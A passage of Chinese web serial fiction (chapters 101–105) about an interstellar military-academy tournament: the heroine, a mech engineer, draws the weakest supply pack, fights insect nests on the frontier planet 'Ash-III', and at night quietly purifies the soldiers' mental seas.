赵宴月并不知道大人们在焦虑什么，她此时正神清气爽地从实战模拟舱里爬出来，哼着歌踩着夜色往宿舍走。 模拟舱毕竟只是模拟舱，所有S级精神海的蓝条都是统一的数值，唯一需要录入的是天赋技能信息。 所以即便她现在精神力不多，也并不影响在模拟舱里赚积分。 想到“楼下都是菜鸡”再次被拆了武器后无能狂怒气到红温，说等到了联赛没有引导棒要她好看的画面，赵宴月心情愉悦极了。 到了联赛她也只是个负责修机甲的平平无奇后勤选手，真是想不明白菜鸡能怎么要她好看。 第102章 又一天的训练结束, 按理来说现在正是可以放松的时候，特训基地里的气氛此时却像一根越绷越紧的弦。 赵宴月把光脑上的“机甲工程系赵宴月今日训练成绩单”关掉，抬眸扫视一圈, 招呼着江茂茂去食堂干饭。 许白亦和司焕向来训练完成得很快, 此时已经坐在餐桌旁聊天。 赵宴月坐过去就开始埋头干饭，倒是江茂茂时不时就抬起光脑看一眼时间, 扒拉着自己面前的餐盘，吃饭都感觉不香了。 司焕见状笑道：“难得见你吃饭这么心不在焉。” “我紧张！还有三分钟联赛指挥中心就要公布赛场了，我现在比高考出分那会儿还紧张。” 不止是江茂茂, 食堂里的其他学生也无心干饭，一个劲地疯狂刷新星网, 倒是赵宴月吃饭已经吃得进入了忘我之境。 “公布了公布了公布了！” 随着不知哪桌的学生最先开口，其他人也纷纷刷到了指挥中心的动态，食堂里瞬间躁动得不行。 许白亦勤勤恳恳地给没空刷光脑的赵宴月解说道：“是太微星那边的‘灰烬-III’边缘星。” “灰烬-III吗。”司焕想了想道：“虽然离开赛还有三天, 但是这个距离最迟明晚我们就要上星舰。” “小赵小赵, 快看指挥中心发的官方解说视频。”江茂茂这时推了推赵宴月的胳膊，语气还带着点兴奋：“有你的介绍诶！” 赵宴月已经将肚子填了个半饱, 这才慢下往嘴里塞饭的动作，不急不缓地点开了光脑。 联邦军校联赛的专题页面几乎占据了所有主流媒体的头条, 一打开光脑就自动跳转了出来, 叉掉一个又来一个。 金色的联赛徽章熠熠生辉, 背景是深邃的星空和三所军校的旗帜, 充满了庄严而热血的气息。 联邦军校联合赛事指挥中心：“本届联赛将于3月1号正式开幕, 赛场：太微星域——‘灰烬-III’边缘星。” 联赛的官方号口吻比新星杯官方号严肃正经得多，发的动态也十分简洁，但是影响力犹如泥石流般席卷全网。 在这条官方公告下还附带了一个解说视频，两名官方解说为观众们简要介绍了各方代表队的三名队长。 “紫微星法温莎军校代表队, 机甲尖兵队长贺江山，21阶，在‘荣耀角斗场’的100%胜率至今无人打破，被誉为当前联邦军校最强机甲尖兵。” “紫微星法温莎军校代表队，军事指挥队长闻怀玉，21阶，精神海强度预测为超S级，不容置疑的最强指挥官。” “紫微星法温莎军校代表队，机甲工程队长霍珺，21阶，表面为机甲工程系学生，实际为选错了专业的机甲尖兵。” “太微星西廷尔军校代表队，机甲尖兵队长应天悦，21阶，在西廷尔军校联赛选拔赛中拿下过最高457场连胜的成绩。” “太微星西廷尔军校代表队，军事指挥队长洛狸，18阶，凭借A级精神海淘汰了S级对手成为本届联赛军事指挥队长之一。” “太微星西廷尔军校代表队，机甲工程队长谢玄春，18阶，在199年机甲工程师竞技赛中斩获四连冠，机甲实操方向的天才工程师。” “天市星斯伦军校代表队，机甲尖兵队长许白亦，21阶，19阶时已成为108酒馆的无冕之王，地下黑赛的最大受益人，预估擂主收益高达九位数。” “天市星兰柏林军校代表队，军事指挥队长司焕，21阶，新星杯倒买倒卖流派创始人，所带队伍杀了最少的怪拿了最高的分。” “天市星兰柏林军校代表队，机甲工程队长赵宴月，20阶，联赛史上史无前例的双灵兽契约者，机甲学术派的新星，在机甲改装方面也拥有不俗的实力，同时具备机甲尖兵的实战水平，简要概括为成分复杂的六边形战士。” 解说视频下面的讨论十分激烈，主要是天市星的网友们看到解说视频两眼一黑，拿起键盘就是一顿冲锋。 “指挥中心官方号疑似屁股歪了，别人家不是‘最强’就是‘连胜连冠’，为什么天市星的介绍词这么搞笑。” “哪里歪了？人家对我们霍珺的介绍就一句‘选错了专业的机甲尖兵’，这难道不搞笑吗？” “就是，觉得搞笑的自己先去检查一下自家队长这个人搞不搞笑。” “怎么把我们许白亦在地下黑赛赚了几个子都拿出来说啊，我真服了。” “垃圾女王这介绍看着长，怎么越寻思越不对劲呢，到处都是坑。” “20阶的双灵兽契约者，这不摆明了告诉别人她现在精神力不多吗，而且联赛物资包里的武器都是适合机甲加装的武器，她的冷门‘机甲改装不俗实力’也没用啊。” “鉴定为技能点不适配联赛的六边形战士。” “果不其然，天市星这届联赛又危了。” “之前看到天市星这一届出了个S级机甲工程师还有点小慌，现在看来真是慌早了。” “契约了双灵兽偏偏没一个到21阶，在精神力最少的时候碰上了需要高强度对抗的联赛，即便有了S级机甲工程师也没用，天市星的运气向来如此。” “我不要垫底！我不要垫底！垃圾女王你想想办法啊！我再也不骂你了！” “法温莎真是给人稳稳的安心感，第一名预定。” “笑死，安心感这块谁能比得上天市星，有种总有人会给你垫底的安心。” “没有IP我都知道楼上是太微星的，万年老二这么自豪都给我整不会了。” “楼上天市的你也可以自豪啊，你干嘛不自豪？戳到痛处破防了？” 星网上的讨论火速升级成骂战，然后又像病毒似的从官方页面蔓延到各个社交平台。 曾经热衷于组团蛐蛐赵宴月的网友们这次也统一战线了，有了更大的敌人后纷纷将矛头对准了紫微星和太微星。 三大星域的网友激情对线，表情包和梗图齐飞，热度直接压过了“某某殿下高烧至三十八度六”，堪称空前绝后。 四年一度的联赛本就是关乎荣誉与净化资源的星际盛事，指挥中心的动态一发，所有人的目光都指向了这里。 这种无处不在的热烈氛围或许法温莎的学生们适应良好，但是天市星特训基地里的学生倒是压力倍增。 第二天晚上，天市星前往太微星的星舰正式启航。 星舰内部的气氛并不像星网上那般喧嚣，走廊里的学生们行色匆匆，低声交谈的也多是战术配合的事。 他们虽然脸上带着点紧张，但是眼神倒是明亮，没有出现“既然往届都垫底那我继续垫底也没关系”的摆烂。 赵宴月靠在舷窗边的休息椅上看着窗外瑰丽的星云，手腕上的青藤也微微探出了一点脑袋，跟着她一起看向窗外。 “紧张吗？”许白亦的声音从旁边传来，他穿着正式的作战服，身姿保持着一贯的笔挺。 “我有什么好紧张的。”赵宴月没回头，“你转过头睁大眼睛看看，这里最不紧张的就是工程系。” “我是说他们都将你这个S级机甲工程师视作唯一的变数，但是你精神力现在根本不够用。” 许白亦在她旁边坐下，沉默了片刻道：“不管怎么说，你的安全永远是第一位的。” “这么严肃干什么。”赵宴月锐评出声：“我看你现在压力比我大多了。” “确实是。”许白亦闻言一点没反驳，身体往椅背上一靠：“执政官们说他们劝不动你，在我这嘴皮子都磨烂了让我务必保护好你，能不压力大吗。” 听到这话，赵宴月立马垮起一张小猫批脸转过头看他。 “我现在精神力净化不了你们，你就嫌弃我是净化师了是吧，开不了挂很失望是不是！” “你从哪句话里听出来这个意思的。” “每一句。” “……我发誓我没有这个意思。” “你们在说什么呢？”江茂茂凑过来问道，视线在两人脸上巡视一圈，狐疑发问：“什么这个意思那个意思？” “没什么。”赵宴月和许白亦异口同声道。 江茂茂见状天都塌了。 他挤到两个人中间坐下，脸朝向赵宴月又用手指着许白亦，大声质问起她来：“你竟然和他有秘密不告诉我！” 赵宴月笑眯眯地故意气他：“不告诉你就不告诉你。” 江茂茂哼了一声，随即又支棱起来开始焦虑。 “等到太微星参加完联赛开幕式之后我们就要去灰烬-III了，没想到我连编号星都没去过就要直接去边缘星，边缘星上全是虫巢吧好紧张好紧张好紧张……” 他絮絮叨叨的话音还没落下，星舰的广播便随之响起，通知即将降落到太微星空港，要求所有人员固定好位置。 舱内的灯光微微暗下，无形的力场笼罩了整个船舱。 江茂茂一秒脱离焦虑改成了战斗状态，他扣好安全带又顺手掏出光脑，将上面的页面共享给两人。 “你们背一下我搜集到的battle语录，到时候联赛开幕式上和法温莎西廷尔几个队长一碰面，咱们气势千万不能输。” 赵宴月的目光扫过上面的语录，真诚地询问道：“这个‘气势很足的语录大全’你给司焕看了吗，我觉得battle的事交给指挥比较好。” “我最先就是给他看的，不过他说让我把这个battle的机会留给你们。” “好贴心啊他。” “确实是。”许白亦点头肯定，然后推辞道：“你去battle吧，我这人不太爱说话。” 赵宴月冷笑一声：“我再爱说话也说不出‘触我逆鳞者死’这种话，你是要毁了我吗。” 第103章 太微礼堂内, 环形的大会场已经化作了欢呼与色彩的海洋，看台上座无虚席，震耳欲聋的声浪几乎要冲破穹顶。 来自三大星域的观众挥舞着各自的旗帜, 形成一片此起彼伏的三色浪潮。 各方媒体的电蝇蛾盘旋在会场每一个角落, 将画面实时传递给星网后方无数翘首以盼的观众。 法温莎代表队身着黑色作战服，站姿如松锐气逼人, 西廷尔军校则是一水的暗红色作战服，风格看着更加凌厉彪悍。 天市星代表队夹在两者中间，他们其中一半表情沉稳不动如山, 另一半活泼好动左看右看，像是身上长了虱子动个没完。 队长们都各自站在队伍的最前方, 司焕脸上挂着男妈妈式的亲切微笑，顺手扯住了赵宴月的衣角：“你深沉点。” 赵宴月正朝看台上挥舞着天市星旗帜的观众们招手，闻言反手将他的手一拍：“带带气氛怎么了。” 在她的挥手互动下, 来自天市星的观众们虽然扯着嗓子加油的节奏混乱, 但激动的声音实打实地盖过了另外两方观众。 不知道的还以为天市星才是什么热门夺冠选手，天市星的学生们面上不说, 心里已经先暗爽上了。 “队长们看着都好高冷啊，我是说除了垃圾女王。” “霍珺怎么一直盯着赵宴月看, 嫌紫微星的加油声被压住了可以也和观众们互动一下, 打不过就加入嘛。” “笑死我了, 司焕偷偷摸摸去拉赵宴月没拉住, 许白亦就从来不做这种无用功。” “加油声大有什么用, 到时候还不是倒数第一。” “不爽就自己去现场给你支持的队伍加油呗，在这指点江山有什么用。” 不管星网上怎么热闹，随着入场仪式结束，灯光聚焦于悬浮的主席台上, 会场的欢呼声稍歇。 各个宜居星三位执政官的全息影像缓缓浮现，各自发表了简短的官方致辞，主要是对学生的鼓励和和联赛圆满成功的祝愿。 这个常规环节结束后，一位神色不怒自威的老者走到台前中央。 他肩章上金穗交织，胸前绶带如瀑，勋章层叠，学生们的目光和电蝇蛾的镜头都对准了他。 “现在由我来宣布第49届联邦军校联赛比赛赛制和规则。”老者的声音低沉而清晰，传遍了镜头内外每一个角落。 他抬手压下声浪，目光扫过台下数百张年轻的面孔。 “首先，每支代表队将从不同登陆点出发，向终点的旗帜推进，任何一方队伍率先拔下旗帜则比赛结束，同时积分最高的队伍即为本届联赛的冠军。” “其次，联赛各方代表队唯一的目标就是清缴虫族，每支代表队会配备1500名已全副武装的B级士兵，不管是选手击杀虫族还是士兵击杀虫族都可以获取积分，不同等级的虫族对应不同积分，具体数值会随比赛细则一起发送到你们光脑，之后可以自行查询。” “最后，无论是选手还是士兵，精神海污染值达到60%强制淘汰，在场各位都是新生代抵御虫潮的尖端力量，边缘星是真正的战场，势必会存在伤亡，每个人光脑上都配备了退赛键，你可以在比赛过程中主动选择退赛。” 老者的目光扫过三支队伍，声音沉肃：“愿你们都能平安归来，现在请各方代表队派出一名队长过来抽取物资包。” 话音刚落，所有镜头和目光瞬间聚焦在工作人员捧上来的银色金属箱中。 虽然现在选手们还没抵达灰烬-III，但是交锋显然从这一刻就开始了。 霍珺和谢玄春分别从各自的队伍中走出，司焕想到天市星的最差物资包魔咒就头皮发麻，他看向赵宴月真诚道：“你看隔壁派的都是工程系的。” 赵宴月对天市星传统脸黑技能有所耳闻，但她对自己的运气更加自信，半点没推脱：“我去就我去。” 工作人员见人到齐，打开了箱子上的符文锁给几人展示，里面是十几个一模一样的金色金属球。 “这些物资球内分别封存着‘探索者’、‘开拓者’与‘勘探者’三种物资包的信息，其中‘探索者’物资包武器配备最精良充足，‘开拓者’物资包各项资源均衡，‘勘探者’则更侧重于营养补给和医疗保障。” 赵宴月将她这句话在脑子里过了一遍，进行了中译中。 探索者物资包里的武器最好最多，开拓者里武器和吃的一半一半，勘探者物资包里全是吃的和医疗物资，没什么武器。 医疗物资听着很有安全感，但机甲虽然有痛感传导以便操作，对机甲尖兵并不会造成真实伤害。 如果机甲已经丧失作战能力消散，靠肉身承受虫族伤害的情况下也不是靠医疗物资能力挽狂澜的了，作用杯水车薪。 所以这三个物资包听着好像各有优势，其实可以直白地命名为最好的、中等的和最差的。 “为保证公平公正，请三位队长同时抽取物资包。” 工作人员话一说完，三个人谁也没让着谁，直接将手伸进了金属箱。 三只手往里面一抓，赵宴月眉头一皱，抓到金属球的同时还碰到另一个人的手，三个人顿时面面相觑。 谢玄春与世无争地拿出金属球在两人面前展示了一番，表示和他没关系。 霍珺见状将目光放到赵宴月的脸上，在箱子里拽着一半金属球不撒手：“我先拿到的。” 赵宴月：“我先拿到的。” 见两人拿了一个金属球出来，工作人员对这个情况显然有所准备，看向两人提问道：“有人要放弃这颗金属球重新选择吗？” 赵宴月：“我就要这个。” 要是对面是别人，霍珺可能还愿意展示一下风度，但是他知道自己对面的人是“姐就是女王自信放光芒”。 能在荣耀角斗场里干掉他的机甲工程师，除了兰柏林的S级机甲工程队长不作他想。 霍珺挑了挑眉，半点不让：“那我也就要这个。” “好的。”工作人员点了点头，从三个人手里接过了两个金属球。 她先打开了谢玄春的金属球，一道蓝光立马投射了出来，而后幻化成三个字。 工作人员将金属球举起，朝观众和镜头展示道：“太微星代表队——开拓者物资包。” 平平无奇的中等物资包，看台上来自太微星的观众们不热情也不冷淡地鼓了鼓掌，还算接受良好。 他们稍稍屏住呼吸，目光紧紧盯着工作人员手里剩下的那个。 法温莎和天市星选择了同一金属球，如果开出来的是探索者物资包，西廷尔无异于开局就处于劣势。 工作人员也没让大家多等，随着金属球紧接着被打开，一道白光闪过后，投射出来的字也清晰地出现在了镜头里。 “勘探者。” 偌大的会场出现了刹那的寂静，紧接着太微星的观众们齐刷刷站起身，欢呼声差点冲破穹顶。 天市星观众们看着他们欢呼，脸上只剩历经沧桑的淡然，最无法接受的显然是紫微星的观众。 霍珺郁闷地回到队伍里，贺江山不咸不淡的声音立马传来：“天市星选中的金属球你也争。” “再说跳楼。” 早知道让给她得了。 另一边的赵宴月看着上面的“勘探者”三个字也陷入了沉默，不敢相信自己的运气能有这么差劲。 早知道让给他得了。 “生活总要和你开点小玩笑嘛。”司焕早就预料到了这个结果，笑眯眯安慰道：“虽然我们脸黑，但是谁也没拿到最好的物资包，相当于这把我们天胡开局。” 赵宴月还是一脸不爽：“生活开的小玩笑我一个都没笑，下次别开了。” 刚刚跟着提心吊胆的观众们此时也纷纷有空发起了弹幕，对天市星展开了肆无忌惮的疯狂嘲笑。 “天市星的保留节目属实精彩，请个高人看看风水吧。” “这一届选手怎么都这么黑，探索者物资包竟然没人抽到。” “让我们恭喜天市星开局抽到最差物资包的记录刷新至24年！” “司焕言之有理，对手也黑相当于这把天胡，所以天市星这一回其实挺欧的。” “这也能蹭？” “最差的物资包也足够所有人装上武器，只不过对武器没什么选择的余地而已。” “就是，而且还吃得好，这不挺好的。” “楼上两个的IP我一秒猜出是太微星，真和你们换你们又不开心了。” 工作人员轻咳一声道：“恭喜三方队长抽签完毕，物资包将在各位登陆后随空投舱一同送达。” 随着激昂的联邦军歌响起，三方队伍开始有序退场。 最先离场的队长们在通道里不可避免地和对方打上了照面，气氛一时间变得有些凝滞。 闻怀玉率先打破尴尬的沉默，声音没什么语调起伏但十分温和：“期待在赛场上见到各位精彩的表现。” 司焕没搭话，微微颔首当做回应。 西廷尔的指挥洛狸笑了笑：“闻指挥客气了，我们才是要小心别被法温莎拉开太大差距。” 应天悦懒得听他们官方的废话，她目光落在闻怀玉身上，直白发问：“听说你灵兽的技能现在用不出来了？” 不等闻怀玉回答，霍珺先开了口：“你管我们呢。” 赵宴月本来一直没有参与他们的废话文学，和许白亦在一旁指指点点嘀嘀咕咕，只不过听到霍珺这句话感觉有点似曾相识，掀起眼皮狐疑地看了他一眼。 队长们的对话还算平静客气，身后的队员们就管不了那么多了。 他们互相之间开口就是浓浓的火药味，通道里一时间热闹得像是有一百只鸭子在叫。 等走在最前面的队长们各自分开，贺江山才从赵宴月的身上收回视线。 “看不出有什么特别的，你之前不是说闻执政官提过她吗？他怎么说？” 闻怀玉语气含笑：“什么都没说，最近净化学院课程改革的事阻力很大，他忙得分身乏术，只说让我友爱同学。” “这真不像是闻执政官会说的话。”贺江山波澜不惊地点评道，“作为紫微星的对手，这算是八竿子都打不着的同学。” 开幕式后联赛便正式开启，各方代表队散场后登上不同的星舰，前往灰烬-III的登陆点。 三艘星舰同时启航前往跃迁坐标，指挥中心的星舰紧随其后。 此时不管哪个媒体平台的在线观看人数都十分惊人，只不过大部分媒体在直播法温莎，有的媒体直播画面是西廷尔，将宝押在天市星身上的媒体并不多。 第104章 灰烬-III星上并没有人类活动的痕迹, 放眼望去连绵的山丘被风蚀成了奇形怪状的姿态。 一踏上地面，迎面而来的就是灼热的空气和风沙。 平坦的地表上覆盖着一层厚厚的砂砾，上面的热度透过作战靴都能感受到, 但空气中的温度却不高不低。 土地散发的热度碰上湿冷的空气, 在靠近地面上的位置蒸腾出一层白色的雾，像是踩在了浅薄的云层里。 官方解说的声音适时响起, 利用选手们适应环境的时间给观众们介绍起联赛的大致情况。 “观众朋友们，我们现在看到的就是本届联赛赛场——灰烬-III边缘星，在边缘星上清缴虫族也是联邦远征军的日常作战任务, 不同的是选手们斩杀虫族的任务更加紧迫，因为他们要拿到比对手更多的积分。” “是的。”另一名解说接话道：“根据测算, 一名S级机甲尖兵从登陆点全速驾驶机甲直飞拔旗点，至少需要十天的时间，但是拔旗并不代表胜利, 积分才是重中之重, 系统每天会播报一次当前积分最高的队伍，但并不会透露具体的积分信息。” “现在各方队伍当前的任务是寻找虫巢, 开局显然是抽到了开拓者物资包的西廷尔军校更有优势，可以看到现在我们的直播镜头也给到了西廷尔这边。” 就在解说点评西廷尔军校更有优势时, 赵宴月这边也打开勘探者物资包。 箱盖滑开, 里面是一排排被固定得整整齐齐的武器, 冷硬的金属光泽在昏暗的舱灯下幽幽闪烁。 武器的种类还算齐全, 从长刀重剑到战矛拳刺一应俱全, 做工是肉眼可见的精良。 赵宴月目光扫过武器，又瞥了眼塞得满满当当的各种口味营养剂和医疗箱，语气勉强道：“其实也还行。” “啊？”江茂茂凑过来，脸几乎要贴到武器上, 左看右看后发出质疑：“看着是还行，问题是大家基本都是S级。” S级精神海的学生精神力充裕，基本都偏向于使用精神力转特殊能源的枪炮类武器，伤害高且操作方便。 这个物资包里的能源武器稀缺，都是一些构建了引力脉络和特殊转化装置的冷兵器。 这类武器可以将天赋技能转化成小技能使用，但是比较依赖天赋技能本身的强度，而且对战斗技巧的要求更高。 比如赵宴月的机甲装备长刀后，流星天火就可以通过长刀释放出来，变成一刀刀火刃，直到大招的能量消耗完毕为止。 莫听然不知何时也走了过来，看着空投舱总结：“总体确实比较一般，主要是数量太少了没法选择，吃的倒是挺多。” 赵宴月也不是真的觉得还行，她伸出手在舱体上敲了敲，懒洋洋道：“我说还行，意思是暂时只能这样，没有解决办法。” 她说到这点开地图，指了指三方代表队的登陆点：“现在对面都离我们很远，就算想去抢别人的也没那个条件。” 三个登陆点成三足鼎立的形势，互相之间隔了十万八千里，拔旗点刚好在三角形的中央。 随着各方靠近拔旗点，三方人马自然会遇上，只不过现在确实还距离太远。 许白亦听她这么说，稍稍点头赞许：“真是有坏心也办不了坏事。” 江茂茂的语气比许白亦遗憾多了：“可惜不能抢士兵们的武器，不然从自己人身上下手方便多了，内部优化嘛。” 莫听然闻言震惊地看了他们一眼，感觉这三人着实有点人不可貌相。 司焕指挥着众人各自挑选好最顺手的武器之后，大家都暂时把武器收进了驾驶舱。 “我们不先武装一部分尖兵吗，这样找到虫巢后杀怪效率高点。”莫听然见状问道。 司焕此时正放出精神力与众人进行连接，一边维持着庞大的精神网络，一边抽空回了一句：“现在加装浪费赚积分的时间，你们上晚班效率最高。” 加装武器是件精细活，并不是一时半会儿就能完成的。 白天的时间不仅要赶路还要赚积分，等晚上大家扎营休息恢复精神力的时候，刚好工程师们可以开始干活。 虽然他没怎么解释，但是莫听然脑子一转便了然地点了点头。 随着精神海连接完毕，庞大的队伍几乎同时有了动作，如同一台精密的仪器开始了运转。 将近两千人的队伍看似混乱地互相穿插走位，却在极短的时间内，有条不紊地分化成了清晰的一支支小队。 星闻速递作为直播天市星代表队的媒体之一，主持人小野看到画面立马跟进解说。 “天市星代表队的指挥司焕已经开始了调度，每支代表队有300名选手和1500名士兵，指挥们的第一件事就是将所有人分成小队，这样行动起来更加灵活，不过大家也可以看到人群里有七八名选手没有动，说明他们并没有被司焕的精神力连接上。” “只有七八个选手没被连接上，也能看出来司焕的精神海强度相当不错。”另一名女主持霓虹补充道，“天市星这边是分成了20支小队左右，目测每支小队大致配置了75名士兵，12名机甲尖兵2名指挥和1名工程师，不管从人数还是功能性上来说都是很稳妥的配置。” “是的，不过这么看来，司焕或许并不打算将指挥系的选手们当成机甲尖兵用，而是打算作战时下放指挥权。” 霓虹点头赞许：“指挥系大多是A级精神海，即便司焕让渡出指挥权，但S级的选手们依旧是由他连接精神海，这个举动不仅可以给自己减轻负担，也能让指挥系的选手们发挥出自己的作用，毕竟天市星队伍里的指挥系学生并不少，不像法温莎一样只有唯一的一名指挥。” 赵宴月被屏蔽在司焕建设的聊天群外，饶有兴致地看着队伍无声地整合，狐狸眼里透出点没见过世面的稀奇。 她如今虽然精神力不多，但是精神海屏障并不受精神力多少的影响，所以未能被司焕攻破屏障连接。 和她一样无法加入聊天组的还有许白亦、秦烨、应承玄和华妩等人。 某种程度上来说他们其实也是整支队伍里最强的几个人，暂且充当游击小队，而江茂茂作为C级也没被司焕放进各个队伍里，同样算是被游击小队收编了。 华妩见赵宴月也被踢出了聊天组，百思不得其解地看向旁边的严舒也：“她精神海强度竟然这么强？” 严舒也变身捧哏机器人：“真是没想到，不过去当工程师可惜了。” “你觉得我和她谁更强？”华妩双手抱胸，盯着赵宴月琢磨道。 “那你去连接她精神海试试？” 就在这时，司焕统筹调度完所有人后睁开眼，看向赵宴月道：“累死我了，游击小队的武器加装就交给你负责了。” 华妩本来还蠢蠢欲动，听到这话顿时百无聊赖地收回视线：“人在屋檐下，我可不去。” 赵宴月不知道华妩正在和严舒也蛐蛐她，听到司焕的话后，一句话都不落下地应道：“别累，没问题。” 士兵们都是已经全副武装过的，工程师们只需要负责300名选手的武器加装，差不多是一个人负责十几个人。 赵宴月的工作量不算大，但工程师们一旦出现淘汰，到时候他们的工作都得分配给其他人，越到后面越命苦。 大部队已经整顿完毕，在司焕的精神力连接下，将近两千人的队伍脚步相当整齐，朝着北方稳步推进。 脚下的砂砾滚烫，呼吸的空气却并不干燥灼热。 在前方地貌逐渐发生变化时，司焕一抬手，众人的步伐便整齐划一地骤然一停。 赵宴月像是土包子进城似的又被震撼了一次，感叹团队里有了指挥堪称令行禁止。 就在队伍停下的一瞬间，地面上的黄沙开始剧烈翻涌起来，像是形成了一层层巨大的海浪。 黄沙喷涌，数之不尽的虫族从地面下钻了出来，它们身上闪烁着金属光泽，密密麻麻的庞然巨物光线都暗了一个度。 天上飞的地上跑的，刹那间铺天盖地。 虫巢。 “战斗准备。”各小队指挥的命令几乎同时浮现在众人脑海。 一台台高大的机甲凭空出现，沉重的脚掌踩在沙地上，奔跑间激起漫天沙尘，双方交战间地动山摇。 虫巢里孕育出来的虫族都是B级以下，唯有虫母是S级，除非巢穴内已经没有虫族可以应战，否则虫母不会出现。 虽然场面十分恐怖，但其实B级以下的虫族并不难应对。 唯一的难点在于数量繁多，毕竟蚂蚁都能咬死象，而就算S级机甲尖兵的的精神力也是有限的。 不管是启用天赋技能还是操作机甲作战，只要机甲被召唤了出来，就无时无刻不在消耗精神力。 战场上能量光束交织爆炸声和虫族尖锐的嘶鸣声响彻了整片荒芜之地。 黄沙被爆炸的气浪不断掀起又落下，让战场变得模糊而混乱。 工程师们早就在虫族现身的第一时间就被指挥们命令迅速后撤，此时聚集在一处相对较高的岩丘后方。 他们的目标是苟到最后，在武器加装上发光发热，参与作战的意义并不大。 除非有虫族主动打了过来，否则二十多个人是有多远站多远，免得精神海被污染增加淘汰进度。 莫听然微微偏头，躲开来了飞射过来的金属碎块，或者说是虫族残肢，她看着喧嚣的战场摸了摸下巴道：“赚积分还得靠人多力量大，可惜士兵们都是消耗品，过不了几天就都淘汰了。” 士兵们和工程师们一样都是B级精神海，在这种高强度高污染的战斗中，污染值飙升到60%被淘汰只是时间问题。 “要是能一直不淘汰就好了。”贝焕幻想道：“听说参与联赛的士兵在开赛前和淘汰后会统一接受净化，不然想净化还要凭功勋排队，别说我们拿到参加联赛资格费劲，他们争取联赛资格也挺费劲，能来的也都是B级里面的精英了。” “怎么可能让你重复利用，毕竟士兵的存留也是对选手的考验，越快击杀高等级虫族，士兵们的污染值增长也就越慢。” 赵宴月此时正在给自己的机甲装武器，听到这举手发问道：“说到这个，虫母都出来了，高等级虫族怎么还不出现。” “高等级虫族可不是什么保护者的角色，就算知道有虫巢在遭遇清缴，一时半会儿也不会来。” 莫听然说到这耸了耸肩：“低等虫族繁殖力惊人，边缘星上大大小小的虫巢不知道有多少，远征军时时刻刻都在进行清缴，什么时候到我们这还得看人家心情。” 莫听然说这句话的时候，原本还在直播对战的镜头刚好切了过来。 主持人小野闻言立马接话道：“正如这位同学所说，B级及以上的高等虫族不会出现太早，至于S级虫族更是只有在边缘星上的虫巢已经损耗到一定程度时才会出现，所以前几天选手们会相对轻松一些。” “是的，等高等级虫族出现的时候选手们的机甲也武装好了，同时士兵们也都接近淘汰边缘。” 不远处，这个规模不算大的虫巢只花了小半天的时间就被士兵和选手们攻陷。 随着庞大得像座山的虫母被在场两百多名S级机甲尖兵们徒手撕碎，赵宴月将引导棒塞回兜里拍了拍手。 她站起身，看向大战后一片混乱的黄沙，深感赞同道：“太对了，要想赢还是得人多力量大。” 莫听然有些奇怪地看了她一眼，肯定道：“当然啦。” 第105章 灰烬-III星的夜晚降临得迅速而彻底, 白天地表蒸腾起的湿冷雾气仿佛活了过来，变得浓重且寒意刺骨。 天市星代表队比赛第一天就清缴了一个小型虫巢和两个规模中等的虫巢，可以说是打了一整天的架。 因为没有高等级虫族过来支援, 一整天下来除了苦点累点外没其他毛病。 踩着夜色经过一段时间的赶路后, 司焕下令让众人原地扎营。 营地选在背风的巨大岩壁下，几堆利用固体燃料点燃的篝火成了黑暗中唯一的光源和热源, 跳动的火焰在冰冷的岩壁上投下扭曲拉长的影子。 白日战斗的喧嚣已然远去，营地各处响起的是工具与金属碰撞的清脆声响，很快便支起了一个个帐篷。 各个被分出来的小队围在一起, 工程师们指挥着选手把机甲召唤出来，然后自己扛着武器爬上人字梯, 掏出引导棒开始沉浸式上班。 在其他工程师们还在加装第一个武器的时候，赵宴月已经帮司焕和许白亦都加装好了，工作效率高得令人咋舌。 引导棒在她指尖仿佛有了生命, 精准地在接驳器预留的接口处勾勒、连接、固化。 从引导棒里流出的精神力被她极致精细地操控着, 动作行云流水，带着一种独特的韵律。 “早就听说高等级精神海天然对精神力的掌控度更高, 垃圾女王这手速简直是人形光刻机。” “没那么慢。” “鬼知道我架构一条5CM长的引力丝起码要花费20分钟。” “好硬的技术，真是干机甲工程的好苗子, 慕强批一下子就爱上了。” “现在才意识到垃圾女王竟然是身娇体弱的机甲工程师, 我一直把她当皮糙肉厚的机甲尖兵看。” “好安静的氛围, 睡觉的睡觉, 守夜的守夜, 干活的干活，看得我都想睡觉了。” “以前怎么没发现垃圾女王长这么好看，鼻子是鼻子眼睛是眼睛的。” “因为她一张嘴就让人一股无名火往外冒，从来没这么安静过。” 夜色越来越深, 赵宴月将游击小队成员的机甲加装了一大半，然后伸了个懒腰爬下梯子。 她大摇大摆地走进华妩的帐篷把她摇了起来。 华妩累了一天困到不行，吃力地将一只眼睛睁开一条缝，见是赵宴月又困又强撑道：“你干嘛！” “收一下机甲。” “喔。” 帐篷外的机甲化作流光消失，华妩两眼一闭又睡得昏天暗地，丝毫不管还有个人在自己帐篷里。 赵宴月将她横七竖八的腿踢开，打了个哈欠往自己的帐篷走，眼神一撇注意到篝火旁正在守夜的士兵们状态都很一般。 他们裹着保温毯坐在外面，眉宇间透着一丝疲惫和难以言喻的躁郁感。 许白亦不知何时走到了她身边，将一支热过的营养剂递给她：“精神海只要被污染就会让人难以避免的产生烦躁情绪，看着脸色臭其实不会影响什么。” 赵宴月喝完营养液，顺手将空玻璃管塞回许白亦手里。 边缘星上没有垃圾桶，她才不当着直播镜头的面随手乱扔垃圾。 电蝇蛾安安静静地飞在天上，赵宴月看了一眼，压低声音道：“打游戏还吃手感呢，要不我奶一口？” 许白亦清亮的黑眸在火光映照下更加漂亮了几分，他捏着空管子和赵宴月对视一眼，犹豫道：“作弊不太好吧。” “斯伦的学生真是一个个都是榆木脑袋。” 赵宴月闻言啧了一声，继续批评道：“净化师的事怎么能叫作弊，联赛又没禁止净化师参赛。” 禁止确实没禁止。 主要是联赛主办方再怎么敢想，也想不到天底下还有这种恐怖的事情。 见许白亦没说话，赵宴月又用手肘推了推他：“有没有道理？” 许白亦沉默寡言地点了点头：“太有道理了。” 说话间，精神力已经以赵宴月为中心扩散至四面八方。 B级士兵们光脑上安装的污染值检测装置并没有选手们的高级，看不见具体的数值，只会在突破60%后发出警报。 悄悄摸摸奶一口谁也不知道。 赵宴月现在精神力不多，S级精神海确实奈何不了，但是攻破B级精神海也就一巴掌的事。 她避开了所有选手们，放出精神力径直冲进了士兵们的精神海。 任何精神海被外力触碰都会本能产生戒备，不管是睡着的还是没睡着的士兵们都身躯猛地一震。 他们下意识去抵抗这种突如其来的入侵，结果这种入侵感消失得很快，就好像刚才只是自己的错觉。 不仅精神海里根本没有入侵者的踪迹，而且看着好像还更加干净了点，又好像和之前并没有什么区别。 